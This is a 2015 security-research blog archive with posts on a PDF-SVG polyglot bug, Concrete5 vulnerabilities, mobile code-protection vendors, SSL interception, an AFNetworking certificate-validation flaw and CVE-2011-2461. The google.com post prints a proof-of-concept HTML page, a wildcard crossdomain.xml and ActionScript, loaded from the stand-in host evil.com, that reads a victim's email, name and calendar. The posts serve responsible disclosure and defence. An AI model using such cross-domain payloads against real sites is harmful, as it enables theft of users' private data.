Tuesday, August 4, 2015

PDF-based polyglots through SVG images (CVE-2015-5092)

Many vulnerabilities in Adobe Reader were recently patched in APSB15-15; the security update addresses a vulnerability (CVE-2015-5092) that we responsibly reported to Adobe PSIRT in April 2015. 

The vulnerability consists in a bypass to the PDF content smuggling countermeasure, which Adobe introduced in January 2013 to address PDF-based polyglots. In fact, it was possible to craft PDF-SVG Polyglots which were correctly read both by Adobe Reader (as a PDF document) and by SVG interpreters (as an image).
Such technique could be useful when facing some very specific scenarios, such as: 
  • Web application allowing SVG images uploads and validating them through a robust (SVG-)XSS filter 
  • Web application allowing SVG images uploads and relying only on Content Security Policy for protecting against XSS
In both the cases, we are assuming that genuine PDF files uploads are prohibited; in the second scenario we are considering the presence of a server-side SVG parser which verifies that the supplied image is at least well-formed.
Although we all know that allowing SVG files uploads is sufficient for being vulnerable to Stored XSS, this should not be correct in presence of a robust (SVG-)XSS filter, validating untrusted images. In such circumstance, uploading a PDF-based polyglot would permit to bypass the SVG filtering procedure and steal private data by abusing same-origin requests, carried out from the PDF context.
In case of XSS protection achieved through CSP instead, inline JavaScript execution is disabled by default; however, this assumption was not observed in some browsers, when accessing polyglots which evaluated JavaScript code from the PDF context, instead of the SVG one.

Although some limitations are in place when dealing with such vulnerability, it is worth sharing since it turns out quite fascinating from a security research perspective. 
First, the vulnerability introduces a potential bypass in tight SVG filters, which accept comments without inspecting their content; moreover, the issue proves destructive when compared with the efforts required for building and testing filters; consider for instance the case of MediaWiki which progressively built a robust filtering procedure against user supplied SVG images. 
Secondly, polyglots get interesting when dealing with Content Security Policy, especially in case of missing explicit policy directives, by blindly trusting default-src. 

Here follows the related paper containing all the details and proof of concepts.

At this point it is important to consider that default installations of Firefox, Chrome and Opera do not use Adobe Reader for rendering PDF files; therefore, potentially affected users are the ones who modified their browser settings in order to use Adobe Reader instead of the default built-in reader. In addition, note that Chrome is going to disable NPAPI support. 

Eventually, this issue makes us consider again the risks involved in file uploads, and more generally in content hosting; content sanitization proves insufficient, therefore the usage of sandboxed domains is obviously the suggested design choice to operate the expected isolation and mitigate all the involved risks. However, since SVG images can be deployed in many different ways, further observations should be made on this basis.

Users are recommended to update Adobe Reader to version 11.0.12; in addition, blacklisting %PDF- in SVG filtering procedures would be a plus for protecting users using older Reader versions. From the CSP perspective, instead, setting object-src and plugin-types to 'none' would probably be helpful for protecting against similar polyglot-based attacks.

Friday, June 12, 2015

Multiple security issues discovered in Concrete5 - Part 1

About a month ago we performed a Secure Code Review of Concrete5 version, the latest stable release at that time, and discovered multiple security issues within it. In particular we found the following vulnerabilities:

  • A Remote Code Execution
  • Multiple Reflected Cross Site Scripting
  • A SQL Injection
  • ...others not fixed yet

These issues have been reported to the Concrete5 team through HackerOne, since they have a bug bounty program in place. Some of them were promptly fixed in the next releases of the software, while others still have to be solved.
This is the reason why this post will be in two parts: in this first part we are going to cover the issues already fixed and publicly disclosed on the HackerOne website, while the remainings will be illustrated in the second part.

Concrete5 CMS

Concrete5 is one of the most used open source Content Management System (CMS) on the web. A recent infographic published by CodeGuard places Concrete5 as one of the most popular CMS after WordPress, Joomla and Drupal:

Concrete5, a CMS written in PHP, was launched in 2003 as Concrete CMS. It was rebranded as Concrete5 and launched fully open source under the MIT license in 2008. According to the official website, Concrete5 powers more than 580,000 sites and has a community with over 230,000 members.

The Issues

Sendmail Remote Code Execution Vulnerability

Cause: Lack of input validation
Impact: Arbitrary PHP Code Execution on the server

One of the most critical issues we discovered is a Remote Code Execution (RCE) vulnerability affecting Concrete5 websites which use sendmail as mail server. This vulnerability is due to an incorrect validation of an input parameter used to store a setting related to the sender's address of a registration notification email.

The attack can be carried out in two steps:

  1. The sender's email address setting is modified to alter the sendmail command line in order to add specific parameters which allow to log all the email traffic into an arbitrary file;
  2. The attacker will send a specially crafted request to register a new account and will put some malicious PHP code after its email address. This will be written into the log file chosen during the first step, so in case it's a .php file arbitrary PHP code execution may be achieved (using the same technique described here).

Even though the sender's address parameter can be modified by administrator users only, an attacker might be able to exploit the bug leveraging a Cross-Site Request Forgery (CSRF) vulnerability affecting the related setting feature.
A detailed description of the vulnerability and a sample attack workflow are described in the following PDF:

- Disclosure Timeline:
[05/05/2015] - Vulnerability details sent through HackerOne
[05/05/2015] - Vendor said a patch has been committed and will be available in the next version
[05/07/2015] - Version 5.7.4 released along with the patch for this vulnerability
[06/06/2015] - Vulnerability publicly disclosed on HackerOne

Multiple Reflected Cross Site Scripting Vulnerabilities

Official Advisory

Risk: Medium
Cause: Lack of input validation
Impact: Unauthorized access to the victim's browser data

During our code review activity we found out that several input parameters are used to generate some HTML output without a proper encoding. This can be exploited to carry out Reflected Cross Site Scripting (XSS) attacks.
The following PDF describes the discovered XSS vulnerabilities and provides Proof of Concept (PoC) web pages for them:

- Disclosure Timeline:
[05/05/2015] - Vulnerabilities details sent through HackerOne
[05/05/2015] - Vendor said that 2 out of 6 reported vulnerabilities were already fixed in development
[05/07/2015] - Version 5.7.4 released along with patches for all the 6 vulnerabilities
[06/06/2015] - Vulnerabilities publicly disclosed on HackerOne

SQL Injection Vulnerability

Cause: Lack of input validation
Impact: Unauthorized access to the data stored into the database

Furthermore we found the presence of a SQL injection vulnerability, which is due to certain user input being used to construct a SQL query without a proper validation. This can be exploited to carry out SQL injection attacks leading to unauthorized access to the data stored into the database.
However, the vulnerability is not critical because it is mitigated by the fact that can be exploited only by authenticated users with privileges to edit page permissions.
The following PDF describes the detail of the vulnerability and how to exploit it:

- Disclosure Timeline:
[05/05/2015] - Vulnerability details sent through HackerOne
[05/08/2015] - Vendor said a patch has been committed and will be available in the next version
[05/12/2015] - Version released along with the patch for this vulnerability
[06/11/2015] - Vulnerability publicly disclosed on HackerOne

Stay tuned for the second part!

Wednesday, April 29, 2015

Antitamper Mobile - Minded Security's Magik Quadrant for Mobile Code Protection

Minded Security's Magik Quadrant for Mobile Code Protection shows you our evaluation of the top vendors in this market, based on our research and experience.

Magik Quadrant

Why care about Code Protection?

There are a lot of reasons to care about Code Protection when dealing with Mobile Applications.
Every year a lot of money is lost due to piracy, intellectual property theft, cracked copyright mechanisms, tampered software, malware, and so on.
Mobile Apps are obviously installed client-side, therefore they are under the user's control.
For example, malicious users or competitors could decompile the application and analyse the result.
This could reveal valuable data as proprietary algorithms or intellectual property or allow the attackers to use that information to modify the code, repackage and redistribute it to create a "trojanized" clone of the App in a rapid fashion.
Moreover, if the App needs to run on untrusted devices, any malware could interact with the App at runtime level to steal data (credentials, credit card number etc.) or bypass security logic (local authentication, geo-restrictions, custom cryptography etc.).
As you can see a mobile App could be attacked at various layers and with very different goals in mind, creating a very complex problem for those who want to protect their products.
The following diagram shows some of the main attack types.

Why Apps reverse-engineering and tampering are easy?

Many developers do not know how easy mobile application reverse-engineering and tampering are. 
Since mobile Apps reside on user's devices and include valuable data inside  -  metadata, resources and even the code itself -, attackers could gather important information just by using publicly available tools.
In fact, according to the OWASP Top 10 Mobile Risks 2014,
“...it is extremely common for apps to be deployed without binary protection. The prevalence has been studied by a large number of security vendors, analysts and researchers.”

Without protections, it is quite easy to decompile an App to analyse its code (particularly on the Android platform) or to interact with it at runtime level on rooted/jailbroken devices.

How to make it harder?

To make the life harder to the attackers and help protecting valuable data, developers should:
  • Harden DRM systems and licensing modules
  • Reduce piracy
  • Protect intellectual property and personal data
  • Secure proprietary algorithms against analysis and reverse engineering
  • Harden firmware and OS
  • Protect cryptographic keys
  • Protect the client side of encrypted communication
  • Prevent malware intrusion
Therefore they have to deploy mobile applications with some kind of protection. To do this they could implement the following techniques:
  • Code and Flow Obfuscation
  • String and Class Encryption
  • Debug code stripping
  • Method Call Hiding (Reflection)
  • Resource Encryption
  • Debug Detection
  • Root/Jailbreak Detection
  • Runtime Injection Detection (Swizzle/Hook Detection)
  • Tamper Detection
  • Certificate Pinning
  • Watermarking
There are many technical resources on Internet that describe at some level of detail how to implement one or more of the preceding techniques.
Moreover, there is some commercial tool which provides binary protection without requiring developers to implement their own custom controls.
Before going into detail about these tools it is worth noting that all these security controls do not give a guarantee that mobile applications are going to be 100% secure, but they can provide additional protection and make very hard to carry on reverse engineering, tampering and runtime attacks.

Interpreting the Magik Quadrant

The Magik Quadrant study performed on Code Protection solutions takes into account multiple criteria based on:
  • Ability to Execute
  • Completeness of Vision

Ability to Execute

Vendors must deliver strong functionality in the following areas of capability:
  • Techniques implemented 
  • After Sale Support

Completeness of Vision

Completeness of vision in the Code Protection market considers a vendor’s vision and plans for addressing buyer needs in the future.
  • Cross-platform support
  • Innovation
  • Sale Strategy
Before proceeding it is worth noting that focusing on the leaders' quadrant isn't always the best choice. There are good reasons to consider market challengers. Moreover a niche player may support a specific needs better than a market leader.


Leaders offer products and services that best cover current scenarios and are well positioned for tomorrow. They provide solutions that are cross-platform, and therefore with one vendor it is possible to protect many platforms.
Their complex solutions provide protection (through obfuscation, encryption, call hiding etc.), detection and reaction (in case an attack is detected).


In general, in any Magic Quadrant the Visionaries are the innovators. They understand well where the market is going and therefore they can provide innovative techniques to protect Apps in a cross-platform environment.

Niche Players

Niche Players, in our research, are vendors that do not offer, at the moment, a cross-platform solution but they are focused on a small segment.
Since they are offering platform-specific solutions, in some case they are able to provide innovative and specific solutions for that particular target.

Free and Open Source Solutions

The preceding analysis was done on commercial tools available on market.
In addition to this, we have also analyzed a free and open source solutions available for iOS: iMAS.
This solution has the main disadvantage that, since it is free and open source, it does not guarantee support. Nevertheless, we want to spend some words about it since it has some interesting features.

Vendor Strenghts and Cautions


This analysis pertains to Arxan's GuardIT.
Arxan is one of the most trusted names in application security. They provide protection against a widest range of static and dynamic attacks. The protection, provided by GuardIT, is implemented on different layers giving  the chance to select the desired level of security.

  • Cross-platform (Android, iOS, Windos Phone)
  • Strong code protection
  • Strong detection
  • Capability to repair after damage

  • Price could be higher than expected

Company website: www.arxan.com


This analysis pertains to Metaforic Core, Authenticator, Concealer and WhiteBox.
Metaforic is one of the leaders in the application security market. They provide a cross-platform solution based on different "modules" (Core, Authenticator, Concealer and WhiteBox).

  • Cross-platform (Android, iOS)
  • Strong Code and Flow obfuscation
  • Strong cryptographic key protection

  • Price could be higher than expected

Company website: www.metaforic.com


This analysis pertains to whiteCryption's Cryptanium.
WhiteCryption provides code protection solutions since 2009, so they are relatively new on this market compared to Arxan or Metaforic. However they offer an innovative product that is designed to protect applications at all levels.

  • Cross-platform (Android, iOS)
  • Strong Code and Flow Obfuscation
  • Strong anti-tampering protection
  • Anti-debug and anti-piracy features

  • White-box cryptography techniques are still adopted very little

Company website: www.whitecryption.com


This analysis pertains to DashO and .NET Obfuscator.
The first version of DashO was released in 1998 and .NET Obfuscator was initially released few years later. Therefore PreEmptive has a long experience in Code protection.

  • Cross-platform (Android and Windows Phone)
  • Strong code and flow obfuscation
  • Watermarking
  • Tamper prevention and reaction

  • No iOS support

Company website: www.preemptive.com

GuardSquare - Saikoa

This analysis pertains to DexGuard.
GuardSquare is very famous since they develop and support ProGuard, that is the successful open source obfuscator for the Java language. DexGuard is derived from it.
They have a great experience in Java and Android platform.

  • Large adoption among our customers
  • Strong code optimization and obfuscation 
  • Anti-tamper detection

  • Available only for Android

Company website: www.saikoa.com


This analysis pertains to Licel's DexProtector.
Licel is a new competitor in code protection. Its product, DexProtector, is designed for comprehensive protection of Android-applications against reverse engineering and tampering.

  • Affordable for our clients
  • Strong code obfuscation
  • Anti-tamper detection

  • Available only for Android

Company website: www.licel.ru

Bangcle - SecNeo

This analysis pertains to AppShield service. Bangcle provides a service that permits to developers to upload its APK on Bangcle's server and they provide fully automated App shield services. The whole process takes about one hour or less to complete.

  • Very simple use
  • Anti-debug and Anti-tamper features
  • App Data Encryption

  • Available only for Android

Company website: www.secneo.com


This analysis pertains to Smardec's Allatori.
Smardec's main goal is to offer you high quality services and products at a reasonable price. Allatori first version was released in 2006 and it has reached these goals.

  • Strong code and flow obfuscation
  • Watermarking
  • StackTrace restoring

  • Available only for Android
  • Only code protection/obfuscation   

Company website: www.smardec.com


This analysis pertains to Zelix KlassMaster.
Zelix has a long story and experience in code obfuscation. Since its release in 1997, the Zelix KlassMaster Java code obfuscator has been continually developed to keep it at the forefront of obfuscation technology.
This solution provides a Java code obfuscator but it does not implement other protections such as those against tampering tries.

  • Strong code and flow obfuscation
  • Strong Call Hiding
  • Affordable for our clients

  • Available only for Java (Android)
  • Only code protection/obfuscation

Company website: www.zelix.com


This analysis pertains to iMAS.
This solution is free and open source, available on GitHub, and it provides modularity as the main feature. In particular the iMAS project is composed of many components that developers could include inside their project and every module provides a different feature. So it is up to the developers selecting the desired components and include them in the project.

  • Free
  • Anti-tampering protections
  • Code encryption

  • Available only for iOS
  • No after sale support

Company website: project-imas.github.io

Thursday, April 9, 2015

Beyond Superfish: a Journey on SSL MitM in the Wild

Recently Lenovo hit the news because they got caught installing adware on their laptops, namely Superfish, which, amongst other features, also perform SSL Mitm on the infected computer.

Unfortunately, Superfish is not the only one that has been caught nullifying end-to-end SSL encryption. Many other software and services are turning this "feature" into a nightmare: result is that nowadays SSL Man in the Middle is not an uncommon scenario at all.

But how widespread is it?
Thanks to Minded Security AMT Technology we are able to provide some insights since we monitor this kind of threat, being quite common to banking malware too: an example is Hesperbot that deploys an intercepting proxy on localhost to provide fake SSL certificates to its victims.

What we do is to analyse our client's users security stance to understand if they accept invalid certificates from external sources.

On any given day we can correlate unique users plagued by SSL MiTM to the presence of different adwares, not only SuperFish:

  • Superfish 8.36%
  • iMonomy: 5.35% 
  • JollyWallet: 4.01% 
  • FirstOffer: 2.00% 
  • DealPly: 0.33% 
  • InterYield: 0.32% 
  • jmp9: 0.30%

Those numbers are daily averages collected from a sample of two weeks traffic from over 1 year of logs. The following graph shows how a total of ~20% of Mitm'd users is correlated to an adware infection:

But there's more than just malwares when dealing with SSL interception. Many legitimate services underestimates this risk and accept it as a tradeoff for various gains.

That's the case of "cloud accelerated" browsers where users requests are cached on the cloud to provide a performance boost, like some versions of Opera Mini, Maxthon or Puffin that are not so uncommon and together are accounting for a 31.02% of total positive users we monitored.

On the Puffin Faqs we can read:
"All traffic from Puffin app to Puffin server are encrypted. It is safe to use public non-secure WiFi through Puffin, but not safe at all for most browsers."

Which highlights that the cloud server is used as a proxy, thus sending requests on behalf of the users.

It's not so clear instead for Maxthon. After the Superfish fiasco they published a note stating that even if yes, Maxthon users where positive to SSL MitM test, they were nonetheless secure:
"[...] Due to the way we handle javascript requests in our browser, Maxthon’s PC browser unintentionally triggers a false positive on the Superfish test. In most cases running the test on other browsers on your system will not. If you find yourself in a position where Maxthon is said to be insecure  and Chrome (on the same machine) is not, do not worry.  If you get positives from all browsers, you likely have Superfish.
To repeat: the way Maxthon browsers retrieve javascript can trigger a false positive during a Superfish detection test saying your system is at risk.  Even though our browsers remain as secure as the best in the industry, we recognize the severity of this bug and have elevated it to the top of the line – P1 importance."
According to our tests, Maxthon's Windows client application ignores SSL certificates on remote JavaScripts resources and AJAX requests. Fortunately, the annoying behaviour has been apparently fixed on v4.4.4.3000.

The idea to increase performance by caching or inspect the content of the data in transit is not used exclusively by cloud browsers.
In fact, we discovered some users using legitimate services like VPNs and triggering SSL Mitm alerts on our systems. For example HotSpot Shield (0.07%), SpotFlux VPN (0.02%), XO Cloud Services (0.51%), WebSense Cloud Security (0.03%) have an high correlation ratio.

From the SpotFlux website we read:
"Mobile data compression helps you save on bandwidth bills"
The following graph shows the percentage of services against the total of SSL Mitm'd users we monitored:

The classic SSL model is meant to protect  communications end-to-end,  but if user's connection is initiated or intercepted by the cloud service provider the purpose of this model falls short because the security of the SSL model depends on how the encryption keys are exchanged.

Lastly we observed a plethora of private networks like hotels, public hotspots, small companies that have an high correlation ratio but of which we couldn't identify a common cause other than a misconfiguration.

To sum it up SSL Mitm is a real common scenario with very different causes and broad consequences. We advise to be very wary of the software you are using on your devices since, as we've shown, even legitimate services and apps can pose a threat to your security profile.

Monday, March 30, 2015

Exploiting CVE-2011-2461 on google.com

As a follow up of our Troopers 2015 presentation about CVE-2011-2461 we want to release more details about a real world exploitation scenario targeting Google services.
During our large-scale analysis of web sites hosting vulnerable SWF files, we found out that also Google was affected.

Attack Flow

In the next lines we are assuming a basic knowledge of the CVE-2011-2461 vulnerability; make sure to read our previous cross-posts on NibbleSec or Minded Security in case you missed something. In addition, please note that we are using evil.com as a "label" for a fictitious site controlled by an attacker.

The following steps outline a successful attack:
- The victim is logged on google.com, and visits a malicious website
- The malicious site loads an HTML page, which embeds the vulnerable SWF together with a malicious SWF resource file (specified via FlashVars)
- The vulnerable SWF file is loaded by the Flash player, consequently loading the malicious SWF file (after having verified the crossdomain.xml, hosted on the attacker's site)
- Since the malicious SWF inherits the SecurityDomain of the vulnerable SWF, it can access HTTP responses from the victim's domain, leading to an "indirect" Same-Origin Policy bypass in fully patched web browsers and plug-ins.

Proof of Concept

Here follow the PoC files.


<i>Victim's agenda:</i>
<textarea id="x" style="width: 100%; height:50%"></textarea>
<object width="100%" height="100%"
<param name="allowscriptaccess" value="always">
<param name="flashvars" value="resourceModuleURLs=http://evil.com/poc/URLr_google.swf">


<?xml version="1.0"?>
<allow-access-from domain="*" />

http://evil.com/poc/URLr_google.swf (ActionScript code below)

package {
import flash.display.Sprite;
import flash.text.TextField;
import flash.events.*;
import flash.net.*;
import flash.external.ExternalInterface;

public class URLr_google extends Sprite {
public static var app : URLr_google;
private static var email : String;

public function main():void {
app = new URLr_google();

public function URLr_google() {
var url:String = "https://www.google.com/?gws_rd=cr";
var loader:URLLoader = new URLLoader();
var request:URLRequest = new URLRequest(url);

try {
} catch (error:Error) {
ExternalInterface.call("alert", "Unable to load requested document");

private function configureListeners(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandler);

private function pingCalendar():void {
var url:String = "https://www.google.com/calendar/";
var loader:URLLoader = new URLLoader();
var request:URLRequest = new URLRequest(url);

try {
} catch (error:Error) {
ExternalInterface.call("alert", "Unable to load requested document");

private function configureListenersCalendar(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandlerCalendar);

private function getAgenda():void {
var url:String = "https://www.google.com/calendar/htmlembed?skipwarning=true&eopt=3&mode=AGENDA&src=" + email;
var loader:URLLoader = new URLLoader();
var request:URLRequest = new URLRequest(url);

try {
} catch (error:Error) {
ExternalInterface.call("alert", "Unable to load requested document");

private function configureListenersAgenda(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandlerAgenda);

private function completeHandler(event:Event):void {
var loader:URLLoader = URLLoader(event.target);
var s:String = loader.data;
var pattern:RegExp = /[a-z0-9._-]+@[a-z0-9._-]+\.[a-z]+/i;
var results:Array = s.match(pattern);

if (results.length > 0) {
email = results[0];
ExternalInterface.call("eval", "alert('Email address: " + email + "')");

private function completeHandlerCalendar(event:Event):void {

private function completeHandlerAgenda(event:Event):void {
var loader:URLLoader = URLLoader(event.target);
var res:String = escape(loader.data);
ExternalInterface.call("eval", "document.getElementById('x').value='" + res + "';document.getElementById('x').value=unescape(document.getElementById('x').value)");
var pattern:RegExp = /title>[a-z0-9]+\s[a-z0-9]+<\/title/i;
var results:Array = unescape(res).match(pattern);

if (results.length > 0) {
var name:String = results[0];
name = (name.substring(name.indexOf(">") + 1)).split("<")[0];
ExternalInterface.call("eval", "alert('Name and surname:" + name + "')");

By asking the victim to access the page located at http://evil.com/poc/test.html, the attacker is able to steal the following information:
  • Gmail address
  • FirstName
  • LastName
  • Future events stored in Google Calendar

By inspecting the malicious resource "module", you will notice that it makes three different HTTP requests:
  1. 1st GET request to https://www.google.com/?gws_rd=cr to steal the victim's email address;
  2. 2nd GET request to https://www.google.com/calendar/ to initialize the Google Calendar for the current session;
  3. 3rd GET request to https://www.google.com/calendar/htmlembed?skipwarning=true&eopt=3&mode=AGENDA&src=[JUST_STOLEN_EMAIL_ADDRESS] to steal the victim's first name, last name and agenda.

Obviously, many other attack scenarios are possible, depending on the pages functionalities. For instance, the malicious SWF could steal anti-CSRF tokens and perform actions on behalf of the user.

For the sake of transparency: we reported the issue to Google security team early in December, and they quickly patched it and awarded us thanks to their bug bounty program. Cheers!

As a final reminder to developers, website's owners and security teams: ParrotNG is your friend! Make sure to inspect all hosted SWF files, or at least sandbox them under different domains. In the latter, ensure that sensitive domains are not giving trust to sandboxing domains through relaxed crossdomain policy files, since the "trust chain" would cancel out the benefits of such domains partition.

Brought to you by Mauro Gentile and Luca Carettoni

Thursday, March 26, 2015

SSL MiTM attack in AFNetworking 2.5.1 - Do NOT use it in production!

During a recent mobile application security analysis for one of our clients, we identified a quite unobvious behaviour in apps that use the AFNetworking library.

It turned out that because of a logic flaw in the latest version of the library, SSL MiTM attacks are feasible in apps using AFNetworking 2.5.1.

The issue occurs even when the mobile application requests the library to apply checks for server validation in SSL certificates.
Given that AFNetworking library is one of the most popular networking library for iOS and OS X and it is used by Pinterest, Heroku and Simple among others, the problem could affect a very high number of mobile users.
Here's the usage of AFNetworking library on Github:
Github statistics for the AFNetworking library

Although the vendor has been aware of this issue since February 13th, 2015, there's still no official patch for it.

Update 27.03.15: AFNetworking patched the issue in version 2.5.2 a few hours after this post, we appreciated that.

Update 22.04.15: As correctly pointed out in this post (English version) by mala, AFNetworking 2.5.2 cannot still be considered secure, since it  does not enforce hostname validation by default.
We did not stress such circumstance in our blogpost as we were optimistically assuming that developers read the validatesDomainName property documentation, stating:

"- Whether or not to validate the domain name in the certificate's CN field. Defaults to `YES` for `AFSSLPinningModePublicKey` or `AFSSLPinningModeCertificate`, otherwise `NO`."

This default behaviour is present and documented since the first introduction of the property, that is from version 2.1.0.
Since the library does not verify by default that the hostname of the request matches to the hostname in the certificate, an attacker could use an arbitrary certificate signed by a trusted CA and successfully perform a MiTM attack.

In other words, if you're using a version of AFNetworking which is >= 2.1.0 and <= 2.5.2, then you should be vulnerable by default, unless you set validatesDomainName to YES.

The "new" issue was addressed in AFNetworking 2.5.3, where the default value of validatesDomainName has been properly set to YES under all security policies.


The Issue

On the 6th of March, when looking at the tested application source code, we identified the following part:
#if TARGET_IPHONE_SIMULATOR && defined(DEBUG)     [AFSecurityPolicy setAllowInvalidCertificates:YES]  #endif

SSL certificate validation was disabled if and only if the build target was the iPhone simulator and the DEBUG flag was set. Let's remind that the default value of the allowsInvalidSSLCertificate property is NO.

We tested the app on a real device and, unexpectedly, we found that all the SSL traffic could be regularly intercepted through a proxy like Burp without any intervention!

Further investigation led us to a particular part in AFNetworking code where trust evaluation was somehow disabled.
After few minutes, we figured out that there was a logical bug while evaluating trust for SSL certificate, whose consequence was to completely disable SSL certificate validation.

- (BOOL)evaluateServerTrust:(SecTrustRef)serverTrust forDomain:(NSString *)domain 
method within the AFSecurityPolicy.m file: 

- (BOOL)evaluateServerTrust:(SecTrustRef)serverTrust
      forDomain:(NSString *)domain
  NSMutableArray *policies = [NSMutableArray array];
  if (self.validatesDomainName) {
     [policies addObject:(__bridge_transfer id)SecPolicyCreateSSL(true, (__bridge CFStringRef)domain)];
  } else {
     [policies addObject:(__bridge_transfer id)SecPolicyCreateBasicX509()];

  SecTrustSetPolicies(serverTrust, (__bridge CFArrayRef)policies);

  if (self.SSLPinningMode != AFSSLPinningModeNone &&
 !AFServerTrustIsValid(serverTrust) && 
!self.allowInvalidCertificates) {
   return NO;

 NSArray *serverCertificates = AFCertificateTrustChainForServerTrust(serverTrust);
    switch (self.SSLPinningMode) {
        case AFSSLPinningModeNone:
            return YES;

Which means that if pinning is not used,

 SSLPinningMode == AFSSLPinningModeNone

then the yellow-highlighted  `if` statement evaluates to `false`, even though the property `allowInvalidCertificates` is set to `NO`.

The code flow will hence reach the red-highlighted branch, with the result of cancelling out the whole SSL certificate validation.

It is also important to note that the default value of SSLPinningMode is, indeed, `AFSSLPinningModeNone`.

After a few "feeling cool" moments, we discovered that the implementation flaw was already known and reported here. One month later a new issue was submitted with a more clear description.
Further investigation allowed us to understand that the bug was introduced in late January during the development of AFNetworking 2.5.1.
Warning: 2.5.1 is the latest version at the time of this writing and is installed by default using CocoaPods if not stated otherwise. Refer to the update note above.


The impact: SSL MiTM attacks

Eventually, the overall risk can be evaluated as high since a MiTM attack is feasible in all iOS applications using AFNetworking 2.5.1, even though the developers were mindful enough to disable debug settings in the production build.
Moreover, take into consideration that mobile apps are typically used while being connected via public hotspots.


Minded Security suggests to consider applying the patch proposed by duttski on his GitHub AFNetworking code, as a workaround until an official patch will be released (click to enlarge):
Unofficial Patch of AFNetworking issue

Finally, it's worth mentioning that setting allowInvalidCertificates to YES would make you deliberately vulnerable no matter what the library does (yes, we know you know, but.. you know..;).

Brought to you by Simone Bovi and Mauro Gentile

Thursday, March 19, 2015

The old is new, again. CVE-2011-2461 is back!

On March 19th @ Troopers 2015, me (Mauro Gentile) and Luca Carettoni presented an in-depth study on a very fascinating bug affecting old versions of Adobe Flex SDK.

For the sake of precision, this is a cross-post of the NibbleSec post.

Although Adobe patched the bug in 2011, it is still possible to exploit vulnerable SWF applications in fully patched web browsers with the latest version of Adobe Flash Player; successful exploitation leads to Same-Origin Request Forgery and Cross-Site Content Hijacking.

The particularity of (CVE-2011-2461) is that vulnerable Flex applications have to be recompiled or patched; even with the most recent Flash player, vulnerable Flex applications can be exploited. As long as the SWF file was compiled with a vulnerable Flex SDK, attackers can still use this vulnerability against the latest web browsers and Flash plug-in.

We conducted a large scale analysis against many high-profile web sites and we found out that a considerable portion is still hosting vulnerable Flex applications.

During the past months, we've done our best to privately disclose this issue to some of the largest websites, but we won't be able to reach a broader audience without publicly releasing the technical details.

The Issue

Starting from Flex version 3, Adobe introduced runtime localizations.
A new component in the Flex framework — the ResourceManager — allows access to localized resources at runtime. 
Any component that extends UIComponent, Formatter, Validator have a ResourceManager property, which allows the SWF file to access the singleton instance of the resource manager. 
ResourceManager exposes by default a property that can be controlled by an attacker via a specific Flash Variable: resourceModuleURLs.
Adobe Flex SDK (between 3.x and 4.5.1) is affected by such issue, since the parent SWF file loads the child module, and sets its SecurityDomain to SecurityDomain.currentDomain.
Obviously, this leads to:
  • Same-Origin requests forgery
  • Flash XSS (in older versions of the Flash player).
An attacker would need to embed the following content on a malicious HTML page and change resourceModuleURLs value to the malicious resource, such as http://at.tack.er/malicious.swf.

The Impact: Same-Origin Request Forgery

When successfully exploited a Same Origin Request Forgery attack allows a malicious web site to perform arbitrary requests to the vulnerable site, and read its response without restrictions.

In our case, it is possible to force the affected Flash movies to perform arbitrary requests to the hosting server and return the responses back to the malicious Flash file.
Since HTTP requests contain cookies and are issued from the victim’s domain, HTTP responses may contain private information including anti-CSRF tokens and user's data.


Detecting vulnerable Flex apps

We developed ParrotNG, an open-source Java-based tool for automatically identifying vulnerable SWF files, built on top of swfdump. It can be used both as a command line tool and as a Burp Pro Passive Scanner Plug-in.
You can download it from https://github.com/ikkisoft/ParrotNG/ - refer to the "How to Use" section in the README.md for further details.

How to protect

After having identified all Flex SWF files compiled with a vulnerable version of the Adobe Flex SDK, there are three possibilities:
  • Recompile them with the latest Apache Flex SDK, including static libraries;
  • Patch them with the official Adobe patch tool, as illustrated here. This seems to be sufficiently reliable, at least in our experience;
  • Delete them, if not used anymore.